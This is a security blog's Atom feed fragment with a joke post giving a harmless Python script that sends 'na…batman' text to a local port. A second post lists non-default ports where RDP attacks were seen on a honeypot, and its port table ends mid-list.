                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/life" term="life" label="life" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA["batman"]]></title>
            <link href="https://yourflyis0pen.com/article/batman/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/starting_april/?utm_source=atom_feed" rel="related" type="text/html" title="Starting April" />
                <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="related" type="text/html" title="Grab a wooden stake, we&#39;re headed to Skodovia to kill MD5..." />
                <link href="https://yourflyis0pen.com/article/mr-watson/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;Mr. Watson, come here. I want some career advice.&#34;" />
            
                <id>https://yourflyis0pen.com/article/batman/</id>
            
            
            <published>2021-06-10T08:21:57-05:00</published>
            <updated>2021-06-10T08:21:57-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>So, sometimes the Internet is just&hellip; well&hellip; weird.</p>
<p>And I suppose, sometimes, I am too&hellip;</p>
<p>The other day, I was just sitting and watching the packets hitting one of my honeypot systems stream by.</p>
<p>I find it soothing.</p>
<p>Suddenly, out of the corner of my eye, I noticed something odd fly by.</p>
<p><em>No&hellip; That didn&rsquo;t actually say&hellip;!?!?</em></p>
<p>I scrolled back up and yes, indeed, I <em>did</em> see what I thought I saw:</p>
<p><img src="batman.jpeg" alt="Batman!">
(click to enlarge)</p>
<p>I can generally figure out what the heck is going on with <em>teh packetz</em>.</p>
<p>Not this time&hellip;</p>
<p>I&rsquo;m stumped.</p>
<p>(There is some sort of <a href="https://www.open-mesh.org/projects/open-mesh/wiki">routing protocol</a> for ad-hoc mobile mesh networks that goes by the name Batman, but I don&rsquo;t think that this is related to that.)</p>
<p>While I don&rsquo;t have a clue what this is <em>actually</em> about, I do know this: They messed it up. Big time.</p>
<p>I&rsquo;m really a nice guy (<em>just ask me, I&rsquo;ll tell you&hellip;</em>). I&rsquo;m all about fixin&rsquo; stuff that other people mess up. So, while I don&rsquo;t know what sent that packet - or why - I&rsquo;ve taken it upon myself to fix it. I give you, <em>batman.py</em>, a little Python script that does it right:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> socket <span style="color:#cdcd00">as</span> s
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> time <span style="color:#cdcd00">as</span> t
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p <span style="color:#39c">=</span> <span style="color:#cd00cd">12345</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">def</span> send(m):
</span></span><span style="display:flex;"><span>    S <span style="color:#39c">=</span> s<span style="color:#39c">.</span>socket(s<span style="color:#39c">.</span>AF_INET, s<span style="color:#39c">.</span>SOCK_STREAM)
</span></span><span style="display:flex;"><span>    S<span style="color:#39c">.</span>connect((<span style="color:#cd0000">&#39;127.0.0.1&#39;</span>, p))
</span></span><span style="display:flex;"><span>    S<span style="color:#39c">.</span>sendall(m)
</span></span><span style="display:flex;"><span>    S<span style="color:#39c">.</span>close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">16</span>):
</span></span><span style="display:flex;"><span>    send(<span style="color:#cd0000">b</span><span style="color:#cd0000">&#39;na</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">&#39;</span>)
</span></span><span style="display:flex;"><span>    t<span style="color:#39c">.</span>sleep(<span style="color:#cd00cd">0.5</span>)
</span></span><span style="display:flex;"><span>t<span style="color:#39c">.</span>sleep(<span style="color:#cd00cd">1.5</span>)
</span></span><span style="display:flex;"><span>send(<span style="color:#cd0000">b</span><span style="color:#cd0000">&#39;batman</span><span style="color:#cd0000">\n</span><span style="color:#cd0000">&#39;</span>)
</span></span></code></pre></div><p>The original Python script was designed to fit into a <a href="https://twitter.com/tliston/status/1402342093180243972">tweet</a>. If you want to be a &lsquo;Netmenace, you can (obviously) change the IP address and port number and confuse the heck out of your target which must (again, obviously) accept inbound TCP connections on whatever port you choose.</p>
<p>Alternatively, if you want to see it in action locally, you could just run:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>socat - TCP-LISTEN:12345,fork,reuseaddr
</span></span></code></pre></div><p>(Note: If you&rsquo;re really lazy, here&rsquo;s a <a href="bat.pcap">pcap file</a>.)</p>
<p>There&hellip; I fixed it.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 10, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[RDP Hide-n-Seek]]></title>
            <link href="https://yourflyis0pen.com/article/rdp/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/uh-dot-dot-dot/?utm_source=atom_feed" rel="related" type="text/html" title="Uh..." />
                <link href="https://yourflyis0pen.com/article/saasy_scanning/?utm_source=atom_feed" rel="related" type="text/html" title="SaaSsy Scanning" />
                <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="related" type="text/html" title="Grab a wooden stake, we&#39;re headed to Skodovia to kill MD5..." />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/wait-wut/?utm_source=atom_feed" rel="related" type="text/html" title="Wait... Wut?" />
            
                <id>https://yourflyis0pen.com/article/rdp/</id>
            
            
            <published>2021-05-21T14:12:44-05:00</published>
            <updated>2021-05-21T14:12:44-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>If you&rsquo;ve ever thought that moving RDP to a non-default port was a security measure, don&rsquo;t.</p>
<p>Seriously. Don&rsquo;t.</p>
<p>The bad guys aren&rsquo;t just looking for RDP on port 3389, and moving your server off of the default port won&rsquo;t keep you safe.</p>
<p>RDP is such a big, juicy target the bad guys are looking for it <em>everywhere</em>.</p>
<p>Here&rsquo;s a list of the ports that I&rsquo;ve seen RDP attacks directed at <em>over just the past 5 days.</em></p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>2     1373  2571  4618	6964  8889  14557 24412 34178 44907 46199 51273
</span></span><span style="display:flex;"><span>10    1374  2572  4620	6966  8890  14565 24419 34192 44908 46200 51286
</span></span><span style="display:flex;"><span>11    1375  2573  4623	6969  8891  14567 24421 34193 44909 46201 51299
</span></span><span style="display:flex;"><span>13    1376  2574  4626	6970  8892  14568 24425 34199 44910 46202 51336
</span></span><span style="display:flex;"><span>17    1377  2575  4632	6971  8893  14582 24426 34200 44911 46203 51350
</span></span><span style="display:flex;"><span>22    1378  2576  4634	6972  8894  14614 24427 34201 44912 46204 51365
</span></span><span style="display:flex;"><span>23    1379  2577  4635	6973  8895  14620 24431 34209 44914 46205 51379
</span></span><span style="display:flex;"><span>25    1380  2578  4650	6975  8896  14629 24432 34240 44915 46206 51386
</span></span><span style="display:flex;"><span>29    1381  2579  4656	6976  8897  14630 24433 34246 44916 46207 51388
</span></span><span style="display:flex;"><span>30    1382  2580  4659	6977  8898  14631 24434 34258 44917 46208 51400
</span></span><span style="display:flex;"><span>31    1383  2581  4670	6978  8899  14633 24435 34265 44918 46209 51412
</span></span><span style="display:flex;"><span>32    1384  2582  4680	6982  8900  14643 24439 34278 44919 46210 51420
</span></span><span style="display:flex;"><span>34    1385  2583  4689	6983  8901  14664 24449 34288 44920 46211 51435
</span></span><span style="display:flex;"><span>35    1386  2584  4693	6984  8902  14678 24450 34305 44921 46212 51440
</span></span><span style="display:flex;"><span>39    1387  2585  4700	6985  8903  14691 24451 34320 44922 46213 51441
</span></span><span style="display:flex;"><span>41    1388  2586  4701	6986  8904  14714 24453 34341 44923 46214 51450
</span></span><span style="display:flex;"><span>42    1389  2587  4705	6987  8905  14716 24469 34347 44926 46215 51455
</span></span><span style="display:flex;"><span>43    1390  2588  4711	6988  8906  14718 24473 34361 44927 46216 51461
</span></span><span style="display:flex;"><span>44    1391  2589  4712	6989  8907  14726 24479 34389 44928 46217 51462
</span></span><span style="display:flex;"><span>45    1392  2590  4717	6990  8908  14741 24480 34402 44929 46218 51478
</span></span><span style="display:flex;"><span>46    1393  2591  4719	6991  8911  14751 24481 34409 44930 46219 51483
</span></span><span style="display:flex;"><span>47    1394  2592  4723	6992  8914  14773 24490 34414 44931 46220 51509
</span></span><span style="display:flex;"><span>48    1395  2593  4732	6993  8917  14774 24497 34478 44932 46221 51510
</span></span><span style="display:flex;"><span>49    1396  2594  4738	6994  8921  14784 24498 34495 44933 46222 51512
</span></span><span style="display:flex;"><span>50    1397  2595  4743	6995  8924  14789 24499 34508 44934 46223 51518
</span></span><span style="display:flex;"><span>51    1398  2596  4752	6998  8928  14799 24500 34543 44936 46224 51519
</span></span><span style="display:flex;"><span>53    1399  2597  4757	6999  8933  14805 24501 34546 44937 46225 51533
</span></span><span style="display:flex;"><span>54    1400  2598  4760	7000  8936  14821 24502 34553 44939 46226 51547
</span></span><span style="display:flex;"><span>55    1401  2599  4769	7001  8937  14869 24505 34567 44941 46227 51553
</span></span><span style="display:flex;"><span>57    1402  2600  4792	7003  8941  14870 24506 34577 44942 46228 51557
</span></span><span style="display:flex;"><span>61    1403  2601  4799	7004  8942  14874 24507 34598 44943 46229 51570
</span></span><span style="display:flex;"><span>62    1404  2602  4810	7005  8943  14895 24508 34646 44944 46230 51586
</span></span><span style="display:flex;"><span>65    1405  2603  4823	7006  8945  14918 24509 34657 44945 46231 51589
</span></span><span style="display:flex;"><span>67    1406  2604  4824	7007  8946  14927 24510 34671 44946 46232 51591
</span></span><span style="display:flex;"><span>69    1407  2605  4826	7008  8949  14930 24511 34682 44947 46233 51595
</span></span><span style="display:flex;"><span>71    1408  2606  4828	7009  8950  14949 24517 34694 44948 46234 51668
</span></span><span style="display:flex;"><span>72    1409  2607  4831	7010  8951  14958 24519 34697 44949 46235 51681
</span></span><span style="display:flex;"><span>74    1410  2608  4834	7011  8952  14966 24530 34721 44950 46236 51701
</span></span><span style="display:flex;"><span>75    1411  2609  4840	7017  8953  15000 24533 34725 44951 46237 51715
</span></span><span style="display:flex;"><span>76    1412  2610  4844	7018  8954  15014 24534 34745 44952 46238 51718
</span></span><span style="display:flex;"><span>77    1413  2611  4847	7020  8955  15039 24535 34761 44953 46239 51732
</span></span><span style="display:flex;"><span>79    1414  2612  4851	7022  8957  15044 24553 34793 44954 46240 51737
</span></span><span style="display:flex;"><span>80    1415  2613  4872	7024  8958  15045 24557 34800 44955 46241 51749
</span></span><span style="display:flex;"><span>82    1416  2614  4874	7027  8960  15063 24558 34810 44956 46242 51778
</span></span><span style="display:flex;"><span>83    1417  2615  4883	7030  8962  15087 24559 34811 44957 46244 51804
</span></span><span style="display:flex;"><span>84    1418  2616  4889	7031  8963  15094 24563 34821 44958 46245 51809
</span></span><span style="display:flex;"><span>85    1419  2617  4890	7032  8964  15101 24564 34833 44959 46246 51829
</span></span><span style="display:flex;"><span>86    1420  2618  4894	7033  8965  15105 24565 34842 44960 46247 51834
</span></span><span style="display:flex;"><span>87    1421  2619  4899	7036  8969  15114 24566 34843 44961 46248 51843
</span></span><span style="display:flex;"><span>88    1422  2620  4901	7037  8972  15141 24570 34864 44962 46249 51866
</span></span><span style="display:flex;"><span>89    1423  2622  4904	7038  8974  15149 24572 34884 44963 46250 51872
</span></span><span style="display:flex;"><span>90    1424  2628  4905	7040  8975  15150 24573 34886 44964 46251 51890
</span></span><span style="display:flex;"><span>91    1425  2633  4916	7043  8976  15153 24574 34902 44965 46252 51893
</span></span><span style="display:flex;"><span>92    1426  2652  4941	7044  8977  15157 24578 34928 44966 46254 51897
</span></span><span style="display:flex;"><span>93    1427  2653  4961	7045  8979  15163 24579 34934 44967 46255 51898
</span></span><span style="display:flex;"><span>94    1428  2659  4972	7046  8980  15164 24580 34942 44968 46256 51904
</span></span><span style="display:flex;"><span>95    1429  2662  4979	7047  8981  15173 24583 34944 44970 46257 51909
</span></span><span style="display:flex;"><span>96    1430  2666  4995	7050  8982  15186 24584 34982 44971 46258 51913
</span></span><span style="display:flex;"><span>97    1431  2698  4997	7055  8983  15187 24585 34992 44972 46259 51923
</span></span><span style="display:flex;"><span>98    1432  2700  4999	7060  8984  15189 24586 34993 44973 46260 51942
</span></span><span style="display:flex;"><span>100   1433  2713  5000	7063  8985  15204 24587 34994 44974 46261 51946
</span></span><span style="display:flex;"><span>101   1434  2723  5001	7064  8987  15212 24588 35000 44975 46262 51948
</span></span><span style="display:flex;"><span>102   1435  2734  5002	7065  8988  15213 24589 35003 44976 46263 51956
</span></span><span style="display:flex;"><span>103   1436  2736  5003	7066  8989  15228 24599 35004 44977 46264 51968
</span></span><span style="display:flex;"><span>104   1437  2742  5004	7067  8990  15235 24609 35005 44978 46265 51972
</span></span><span style="display:flex;"><span>105   1438  2744  5005	7068  8996  15237 24613 35007 44979 46266 51974
</span></span><span style="display:flex;"><span>106   1439  2749  5007	7069  8998  15244 24623 35009 44980 46267 51979
</span></span><span style="display:flex;"><span>107   1440  2750  5008	7070  8999  15267 24624 35012 44981 46268 51989
</span></span><span style="display:flex;"><span>108   1441  2752  5009	7071  9000  15275 24625 35013 44982 46269 51996
</span></span><span style="display:flex;"><span>109   1442  2760  5010	7073  9001  15279 24631 35026 44983 46270 51998
</span></span><span style="display:flex;"><span>110   1443  2761  5011	7075  9002  15285 24641 35028 44984 46271 52005
</span></span><span style="display:flex;"><span>112   1444  2762  5012	7076  9003  15287 24642 35030 44985 46272 52010
</span></span><span style="display:flex;"><span>113   1445  2763  5013	7077  9004  15302 24643 35053 44986 46273 52030
</span></span><span style="display:flex;"><span>114   1446  2764  5014	7078  9005  15313 24644 35061 44987 46274 52037
</span></span><span style="display:flex;"><span>115   1447  2765  5016	7080  9006  15347 24645 35089 44988 46275 52040
</span></span><span style="display:flex;"><span>116   1448  2766  5020	7088  9007  15368 24653 35091 44989 46276 52042
</span></span><span style="display:flex;"><span>117   1449  2767  5022	7089  9008  15389 24654 35099 44990 46277 52072
</span></span><span style="display:flex;"><span>118   1450  2768  5024	7090  9009  15446 24655 35122 44991 46278 52088
</span></span><span style="display:flex;"><span>119   1451  2769  5025	7096  9010  15469 24657 35157 44992 46279 52090
</span></span><span style="display:flex;"><span>120   1452  2770  5026	7097  9011  15471 24658 35177 44994 46280 52111
</span></span><span style="display:flex;"><span>121   1453  2771  5027	7098  9012  15493 24661 35182 44995 46281 52115
</span></span><span style="display:flex;"><span>122   1454  2772  5029	7099  9013  15505 24662 35189 44996 46282 52118
</span></span><span style="display:flex;"><span>123   1455  2773  5030	7100  9014  15540 24663 35190 44998 46283 52119
</span></span><span style="display:flex;"><span>124   1456  2774  5031	7101  9015  15545 24679 35200 44999 46284 52135
</span></span><span style="display:flex;"><span>125   1457  2775  5032	7108  9017  15551 24680 35205 45000 46285 52142
</span></span><span style="display:flex;"><span>126   1458  2776  5033	7109  9020  15557 24683 35245 45001 46286 52145
</span></span><span style="display:flex;"><span>127   1459  2777  5035	7110  9021  15568 24684 35281 45002 46287 52146
</span></span><span style="display:flex;"><span>129   1460  2778  5036	7111  9027  15590 24685 35313 45003 46288 52181
</span></span><span style="display:flex;"><span>130   1461  2779  5037	7115  9028  15604 24689 35315 45004 46289 52184
</span></span><span style="display:flex;"><span>131   1462  2780  5038	7117  9029  15656 24693 35320 45005 46290 52186
</span></span><span style="display:flex;"><span>132   1463  2781  5039	7119  9030  15677 24698 35322 45006 46291 52190
</span></span><span style="display:flex;"><span>133   1464  2782  5040	7120  9031  15725 24699 35349 45007 46292 52200
</span></span><span style="display:flex;"><span>134   1465  2783  5041	7121  9032  15739 24700 35356 45008 46293 52202
</span></span><span style="display:flex;"><span>136   1466  2784  5042	7122  9033  15801 24710 35389 45009 46294 52204
</span></span><span style="display:flex;"><span>140   1467  2785  5043	7126  9037  15803 24716 35398 45010 46295 52216
</span></span><span style="display:flex;"><span>141   1468  2786  5044	7127  9038  15850 24717 35401 45011 46296 52220
</span></span><span style="display:flex;"><span>142   1469  2787  5045	7128  9039  15870 24718 35411 45012 46297 52223
</span></span><span style="display:flex;"><span>143   1470  2788  5046	7130  9040  15914 24719 35446 45014 46298 52227
</span></span><span style="display:flex;"><span>144   1471  2789  5047	7137  9041  15941 24720 35456 45015 46299 52229
</span></span><span style="display:flex;"><span>145   1472  2790  5049	7139  9047  15963 24721 35459 45017 46300 52230
</span></span><span style="display:flex;"><span>146   1473  2791  5050	7140  9048  15990 24727 35470 45018 46301 52235
</span></span><span style="display:flex;"><span>147   1474  2792  5051	7143  9050  15995 24729 35494 45019 46302 52242
</span></span><span style="display:flex;"><span>148   1475  2793  5052	7144  9055  16000 24731 35507 45020 46303 52252
</span></span><span style="display:flex;"><span>149   1476  2794  5054	7145  9056  16001 24732 35510 45021 46304 52258
</span></span><span style="display:flex;"><span>150   1477  2795  5055	7146  9057  16002 24733 35526 45022 46305 52264
</span></span><span style="display:flex;"><span>151   1478  2796  5056	7147  9060  16010 24734 35542 45023 46306 52282
</span></span><span style="display:flex;"><span>152   1479  2797  5058	7151  9066  16015 24735 35550 45024 46307 52286
</span></span><span style="display:flex;"><span>155   1480  2798  5059	7153  9067  16028 24736 35551 45025 46309 52297
</span></span><span style="display:flex;"><span>156   1481  2799  5060	7155  9070  16031 24743 35589 45026 46310 52302
</span></span><span style="display:flex;"><span>157   1482  2800  5061	7156  9071  16036 24744 35590 45027 46311 52305
</span></span><span style="display:flex;"><span>158   1483  2801  5062	7158  9072  16037 24745 35620 45028 46312 52306
</span></span><span style="display:flex;"><span>159   1484  2802  5063	7160  9073  16052 24747 35631 45029 46313 52323
</span></span><span style="display:flex;"><span>160   1485  2803  5064	7161  9074  16070 24751 35643 45030 46314 52330
</span></span><span style="display:flex;"><span>161   1486  2804  5066	7167  9078  16072 24753 35648 45031 46315 52353
</span></span><span style="display:flex;"><span>162   1487  2805  5067	7168  9080  16073 24765 35651 45032 46316 52370
</span></span><span style="display:flex;"><span>163   1488  2806  5072	7169  9081  16080 24775 35684 45033 46317 52373
</span></span><span style="display:flex;"><span>164   1489  2807  5081	7170  9083  16092 24784 35689 45034 46318 52377
</span></span><span style="display:flex;"><span>165   1490  2808  5086	7171  9085  16097 24785 35691 45036 46319 52389
</span></span><span style="display:flex;"><span>166   1491  2809  5087	7172  9086  16101 24786 35697 45037 46320 52391
</span></span><span style="display:flex;"><span>167   1492  2810  5088	7173  9089  16102 24787 35700 45038 46321 52421
</span></span><span style="display:flex;"><span>168   1493  2813  5089	7174  9090  16108 24788 35718 45039 46322 52430
</span></span><span style="display:flex;"><span>169   1494  2823  5090	7175  9091  16109 24789 35724 45040 46323 52436
</span></span><span style="display:flex;"><span>170   1495  2836  5091	7178  9092  16112 24790 35731 45041 46324 52439
</span></span><span style="display:flex;"><span>171   1496  2837  5092	7180  9093  16135 24797 35734 45042 46325 52441
</span></span><span style="display:flex;"><span>172   1497  2850  5093	7181  9094  16153 24798 35741 45043 46326 52442
</span></span><span style="display:flex;"><span>173   1498  2853  5094	7182  9100  16169 24799 35745 45044 46327 52450
</span></span><span style="display:flex;"><span>174   1499  2857  5095	7189  9103  16170 24805 35761 45045 46328 52456
</span></span><span style="display:flex;"><span>175   1500  2866  5098	7190  9104  16184 24806 35771 45046 46329 52461
</span></span><span style="display:flex;"><span>176   1501  2870  5099	7198  9105  16190 24807 35779 45047 46330 52476
</span></span><span style="display:flex;"><span>177   1502  2873  5100	7199  9107  16205 24808 35785 45049 46331 52485
</span></span><span style="display:flex;"><span>178   1503  2880  5101	7200  9108  16253 24809 35789 45050 46332 52494
</span></span><span style="display:flex;"><span>179   1504  2900  5102	7203  9110  16300 24810 35833 45051 46333 52503
</span></span><span style="display:flex;"><span>180   1505  2905  5103	7204  9112  16370 24811 35837 45052 46334 52504
</span></span><span style="display:flex;"><span>181   1506  2910  5104	7205  9113  16383 24814 35843 45053 46335 52510
</span></span><span style="display:flex;"><span>182   1507  2916  5105	7207  9114  16384 24818 35850 45054 46336 52521
</span></span><span style="display:flex;"><span>183   1508  2919  5108	7211  9119  16397 24819 35853 45055 46337 52525
</span></span><span style="display:flex;"><span>184   1509  2940  5109	7212  9125  16406 24820 35863 45056 46338 52526
</span></span><span style="display:flex;"><span>185   1510  2945  5114	7216  9128  16419 24823 35881 45057 46339 52537
</span></span><span style="display:flex;"><span>186   1511  2951  5115	7217  9131  16423 24834 35889 45058 46340 52540
</span></span><span style="display:flex;"><span>187   1512  2953  5119	7218  9133  16435 24836 35893 45059 46341 52564
</span></span><span style="display:flex;"><span>188   1513  2971  5120	7220  9136  16445 24837 35900 45060 46342 52568
</span></span><span style="display:flex;"><span>189   1514  2978  5121	7222  9139  16451 24853 35926 45061 46343 52580
</span></span><span style="display:flex;"><span>190   1515  2983  5122	7223  9140  16452 24854 35929 45062 46344 52586
</span></span><span style="display:flex;"><span>191   1516  2999  5124	7224  9141  16480 24857 35971 45063 46345 52588
</span></span><span style="display:flex;"><span>192   1517  3000  5126	7225  9149  16493 24858 35985 45064 46346 52600
</span></span><span style="display:flex;"><span>193   1518  3001  5127	7227  9151  16500 24859 35987 45066 46347 52601
</span></span><span style="display:flex;"><span>194   1519  3002  5128	7230  9152  16501 24860 36002 45067 46348 52612
</span></span><span style="display:flex;"><span>195   1520  3003  5129	7235  9153  16541 24861 36005 45069 46349 52613
</span></span><span style="display:flex;"><span>196   1521  3004  5130	7237  9159  16556 24862 36006 45070 46350 52614
</span></span><span style="display:flex;"><span>197   1522  3005  5131	7240  9160  16558 24866 36007 45071 46351 52618
</span></span><span style="display:flex;"><span>198   1523  3006  5133	7241  9165  16595 24875 36033 45072 46352 52661
</span></span><span style="display:flex;"><span>199   1524  3007  5134	7242  9168  16609 24876 36040 45073 46353 52666
</span></span><span style="display:flex;"><span>200   1525  3008  5135	7244  9169  16637 24877 36055 45074 46354 52679
</span></span><span style="display:flex;"><span>201   1526  3009  5136	7246  9170  16644 24878 36057 45075 46355 52707
</span></span><span style="display:flex;"><span>202   1527  3011  5137	7249  9171  16673 24879 36070 45076 46356 52709
</span></span><span style="display:flex;"><span>203   1528  3012  5139	7250  9175  16704 24880 36081 45077 46357 52730
</span></span><span style="display:flex;"><span>204   1529  3013  5140	7251  9176  16713 24887 36083 45079 46358 52743
</span></span><span style="display:flex;"><span>205   1530  3014  5141	7252  9177  16719 24888 36110 45080 46359 52748
</span></span><span style="display:flex;"><span>206   1531  3015  5142	7255  9178  16721 24889 36132 45081 46360 52761
</span></span><span style="display:flex;"><span>207   1532  3016  5143	7256  9179  16740 24890 36147 45082 46361 52777
</span></span><span style="display:flex;"><span>208   1533  3017  5144	7257  9180  16761 24891 36151 45083 46362 52781
</span></span><span style="display:flex;"><span>209   1534  3019  5145	7261  9182  16795 24892 36152 45084 46363 52791
</span></span><span style="display:flex;"><span>210   1535  3020  5146	7262  9184  16797 24899 36160 45085 46364 52793
</span></span><span style="display:flex;"><span>211   1536  3021  5147	7263  9185  16805 24901 36162 45086 46365 52801
</span></span><span style="display:flex;"><span>212   1537  3022  5148	7266  9186  16812 24902 36177 45087 46366 52823
</span></span><span style="display:flex;"><span>213   1538  3023  5150	7267  9189  16839 24908 36197 45088 46367 52831
</span></span><span style="display:flex;"><span>214   1539  3024  5151	7270  9190  16928 24911 36209 45089 46368 52861
</span></span><span style="display:flex;"><span>215   1540  3025  5152	7271  9191  16943 24919 36214 45090 46369 52914
</span></span><span style="display:flex;"><span>216   1541  3026  5153	7272  9192  16977 24921 36217 45091 46370 52954
</span></span><span style="display:flex;"><span>217   1542  3027  5156	7273  9198  16989 24931 36234 45092 46371 52957
</span></span><span style="display:flex;"><span>218   1543  3028  5157	7274  9199  16997 24935 36235 45093 46372 52972
</span></span><span style="display:flex;"><span>219   1544  3029  5158	7275  9200  17001 24936 36247 45094 46373 52992
</span></span><span style="display:flex;"><span>220   1545  3030  5159	7277  9201  17005 24937 36251 45095 46375 52997
</span></span><span style="display:flex;"><span>221   1546  3032  5160	7279  9215  17009 24947 36252 45096 46376 52999
</span></span><span style="display:flex;"><span>222   1547  3033  5161	7282  9219  17039 24948 36262 45097 46377 53005
</span></span><span style="display:flex;"><span>223   1548  3035  5162	7287  9223  17051 24949 36273 45098 46378 53053
</span></span><span style="display:flex;"><span>224   1549  3036  5163	7288  9224  17071 24956 36305 45100 46379 53089
</span></span><span style="display:flex;"><span>225   1550  3037  5165	7290  9225  17105 24957 36317 45101 46380 53122
</span></span><span style="display:flex;"><span>226   1551  3038  5166	7294  9229  17106 24958 36318 45102 46381 53128
</span></span><span style="display:flex;"><span>227   1552  3039  5168	7295  9230  17109 24959 36321 45103 46382 53129
</span></span><span style="display:flex;"><span>228   1553  3040  5169	7296  9231  17112 24960 36336 45104 46383 53131
</span></span><span style="display:flex;"><span>229   1554  3041  5170	7299  9232  17126 24961 36355 45105 46384 53135
</span></span><span style="display:flex;"><span>230   1555  3042  5171	7300  9233  17143 24962 36358 45106 46385 53162
</span></span><span style="display:flex;"><span>231   1556  3043  5172	7306  9238  17168 24963 36389 45107 46386 53179
</span></span><span style="display:flex;"><span>232   1557  3044  5176	7307  9244  17169 24964 36400 45108 46387 53182
</span></span><span style="display:flex;"><span>233   1558  3045  5177	7309  9245  17175 24967 36417 45109 46389 53205
</span></span><span style="display:flex;"><span>234   1559  3046  5178	7310  9246  17180 24969 36423 45110 46390 53211
</span></span><span style="display:flex;"><span>235   1560  3047  5181	7311  9249  17193 24973 36448 45111 46391 53253
</span></span><span style="display:flex;"><span>236   1561  3048  5184	7312  9250  17210 24976 36461 45112 46392 53268
</span></span><span style="display:flex;"><span>237   1562  3049  5185	7313  9251  17216 24991 36476 45113 46393 53270
</span></span><span style="display:flex;"><span>238   1563  3050  5186	7314  9252  17229 24998 36481 45114 46394 53293
</span></span><span style="display:flex;"><span>239   1564  3051  5188	7317  9253  17233 24999 36556 45115 46396 53301
</span></span><span style="display:flex;"><span>240   1565  3052  5189	7319  9254  17283 25000 36557 45116 46397 53321
</span></span><span style="display:flex;"><span>241   1566  3053  5190	7322  9255  17286 25002 36588 45117 46398 53329
</span></span><span style="display:flex;"><span>242   1567  3054  5191	7324  9259  17291 25004 36593 45118 46399 53331
</span></span><span style="display:flex;"><span>243   1568  3055  5192	7325  9260  17316 25005 36613 45120 46400 53337
</span></span><span style="display:flex;"><span>244   1569  3056  5193	7326  9261  17318 25015 36625 45121 46401 53341
</span></span><span style="display:flex;"><span>245   1570  3057  5194	7327  9262  17380 25018 36649 45122 46402 53349
</span></span><span style="display:flex;"><span>246   1571  3058  5195	7328  9287  17410 25030 36656 45123 46404 53357
</span></span><span style="display:flex;"><span>247   1572  3059  5196	7329  9289  17455 25031 36657 45126 46405 53366
</span></span><span style="display:flex;"><span>248   1573  3060  5197	7330  9292  17481 25033 36659 45127 46406 53377
</span></span><span style="display:flex;"><span>249   1574  3061  5198	7333  9296  17483 25046 36664 45128 46409 53378
</span></span><span style="display:flex;"><span>250   1575  3063  5199	7335  9297  17491 25063 36677 45129 46410 53380
</span></span><span style="display:flex;"><span>251   1576  3064  5200	7336  9298  17501 25077 36698 45130 46411 53388
</span></span><span style="display:flex;"><span>252   1577  3066  5201	7337  9299  17502 25081 36749 45131 46413 53389
</span></span><span style="display:flex;"><span>253   1578  3067  5202	7338  9300  17504 25094 36781 45132 46414 53390
</span></span><span style="display:flex;"><span>254   1579  3068  5203	7345  9302  17505 25102 36785 45133 46415 53402
</span></span><span style="display:flex;"><span>255   1580  3069  5204	7348  9305  17521 25103 36789 45135 46416 53409
</span></span><span style="display:flex;"><span>256   1581  3070  5205	7349  9308  17534 25111 36790 45136 46419 53421
</span></span><span style="display:flex;"><span>257   1582  3071  5206	7350  9310  17535 25112 36791 45137 46420 53425
</span></span><span style="display:flex;"><span>258   1583  3072  5207	7351  9311  17548 25121 36806 45138 46421 53432
</span></span><span style="display:flex;"><span>259   1584  3073  5208	7353  9312  17552 25141 36832 45139 46422 53485
</span></span><span style="display:flex;"><span>260   1585  3074  5209	7357  9313  17572 25142 36843 45141 46423 53489
</span></span><span style="display:flex;"><span>261   1586  3076  5210	7359  9318  17635 25177 36845 45142 46424 53503
</span></span><span style="display:flex;"><span>262   1587  3078  5211	7363  9319  17642 25186 36850 45143 46425 53506
